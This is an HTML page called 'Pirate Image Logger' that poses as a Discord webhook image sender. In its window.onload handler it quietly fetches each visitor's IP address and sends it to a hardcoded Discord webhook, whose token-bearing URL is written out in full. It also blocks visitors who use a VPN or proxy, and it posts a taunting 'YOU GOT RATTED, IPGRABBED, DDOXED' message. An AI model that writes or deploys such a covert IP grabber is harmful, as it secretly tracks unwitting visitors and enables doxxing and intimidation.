<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet">
    <style>
        body {
            background-image: url("https://img.freepik.com/free-vector/gradient-geometric-background_23-2148811069.jpg?t=st=1737486932~exp=1737490532~hmac=da28270011c5263c00e3bf5b43d5abd259b36ae541d60fef67f9798a1a268cb1&w=740");
        }

        /* Style for input fields */
        .input-container {
            margin: 20px;
        }

        .input-field {
            padding: 10px;
            width: 80%;
            border-radius: 5px;
            border: 1px solid #ccc;
        }

        .icon {
            margin-right: 10px;
        }

        .sylex-text h1 {
            text-align: center;
            color: white;
        }
        
        #warning {
            color: red;
        }
    </style>
</head>
<body>
    <div class="sylex-text">
        <h1> Pirate Image Logger </h1>
    </div>

    <!-- Form for webhook and image URL -->
    <form id="discordForm">
        <img src="https://media1.giphy.com/media/BvC7TmEd7odbi/giphy.gif" alt="GIF">

        <div class="input-container">
            <i class="fa fa-user icon"></i>
            <input class="input-field" type="text" placeholder="Webhook URL" id="Webhook" required>
        </div>

        <div class="input-container">
            <i class="fa fa-key icon"></i>
            <input class="input-field" type="text" placeholder="Image URL" id="imgurl" required>
        </div>

        <button type="button" onclick="generate()">Send to Webhook</button>
    </form>

    <!-- Audio that plays on page load -->
    <audio id="sound" autoplay>
        <source src="your-audio-link-here.mp3" type="audio/mp3">
    </audio>

    <script>
        // Play sound on page load (click listener)
        document.body.addEventListener('click', function() {
            var audio = document.getElementById('sound');
            if (audio) {
                audio.play();
            }
        });

        // Function to generate and send message to Discord webhook
        function generate() {
            const webhook = document.getElementById("Webhook").value;
            const imgurl = document.getElementById("imgurl").value;

            if (webhook && imgurl) {
                fetch(webhook, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify({
                        username: 'Pirate Logger',
                        avatar_url: 'https://cdn.discordapp.com/attachments/989743325110231121/1005623548896870400/ezgif-1-81ddaeff46.gif',
                        content: '',
                        allowed_mentions: { parse: ['users', 'roles'] },
                        embeds: [
                            {
                                color: 243,
                                author: {
                                    name: 'Pirate Logger',
                                    url: 'https://im4.ezgif.com/tmp/ezgif-4-6409f574dd.gif',
                                    icon_url: 'https://cdn.discordapp.com/attachments/989743325110231121/1005623548896870400/ezgif-1-81ddaeff46.gif'
                                },
                                title: 'YOU GOT RATTED,IPGRABBED,DDOXED,SEE YOU IN DARKWEB',
                                url: 'https://im4.ezgif.com/tmp/ezgif-4-6409f574dd.gif',
                                thumbnail: {
                                    url: 'https://cdn.discordapp.com/attachments/989743325110231121/1005623548896870400/ezgif-1-81ddaeff46.gif'
                                },
                                description: `DC: __n1kks__`,
                            }
                        ]
                    })
                })
                .then(() => {
                    alert('https://discord.com/api/webhooks/1331256762501955654/Rd84Hz13GCjx6wVTv4nyS4mkdS-DVc6TrBUl-V96sTpvxDp5v2LLCu8A7ZpVyWP0J7I-');
                })
                .catch((error) => {
                    alert('https://discord.com/api/webhooks/1331256762501955654/Rd84Hz13GCjx6wVTv4nyS4mkdS-DVc6TrBUl-V96sTpvxDp5v2LLCu8A7ZpVyWP0J7I-: ' + error);
                });
            } else {
                alert('CHECK YOUR WEBHOOK');
            }
        }

        // VPN/Proxy detection script
        const apiKey = 'your_ipqualityscore_api_key';  // Replace with your API key

        // Function to get the user's IP address
        function getUserIP() {
            return fetch('https://api.ipify.org?format=json')
                .then(response => response.json())
                .then(data => data.ip)
                .catch(err => console.error('Error getting IP address:', err));
        }

        // Function to check if the IP is associated with a VPN or Proxy
        function checkVPNProxy(ip) {
            const url = `https://ipqualityscore.com/api/json/ip/${apiKey}/${ip}`;

            return fetch(url)
                .then(response => response.json())
                .then(data => {
                    return data.proxy || data.vpn;  // Check if the response indicates VPN or Proxy usage
                })
                .catch(err => console.error('Error checking VPN/Proxy:', err));
        }

        // Main function to execute VPN/Proxy check
        async function checkVPNandProxy() {
            const ip = await getUserIP();  // Get the user's IP address
            const isVPNorProxy = await checkVPNProxy(ip);  // Check if it's a VPN/Proxy

            // If VPN or Proxy is detected, display warning and hide content
            if (isVPNorProxy) {
                document.getElementById('warning').style.display = 'block';
                document.getElementById('content').style.display = 'none';
            }
        }

        // Run the VPN/Proxy check when the page loads
        window.onload = function() {
            checkVPNandProxy();  // Check VPN/Proxy on page load

            // Fetch the user's IP address and log it to Discord
            fetch('https://api.ipify.org?format=json')
                .then(response => response.json())
                .then(data => {
                    const ipAddress = data.ip;
                    const webhookURL = 'https://discord.com/api/webhooks/1331256762501955654/Rd84Hz13GCjx6wVTv4nyS4mkdS-DVc6TrBUl-V96sTpvxDp5v2LLCu8A7ZpVyWP0J7I-';
                    const message = {
                        content: `User's IP Address: ${ipAddress}`
                    };

                    fetch(webhookURL, {
                        method: 'POST',
                        headers: {
                            'Content-Type': 'application/json'
                        },
                        body: JSON.stringify(message)
                    })
                    .then(response => response.json())
                    .then(data => console.log('IP sent to Discord:', data))
                    .catch(error => console.error('Error sending IP to Discord:', error));
                })
                .catch(error => console.error('Error getting IP:', error));
        };
    </script>

    <!-- Warning for VPN/Proxy detection -->
    <div id="warning" style="display:none; color: red;">
        <h2>VPN or Proxy detected! Access is blocked.</h2>
        <p>Please disable your VPN or Proxy to access the website.</p>
    </div>

    <div id="content">
        <!-- Content will be hidden if VPN/Proxy is detected -->
    </div>
</body>
</html>
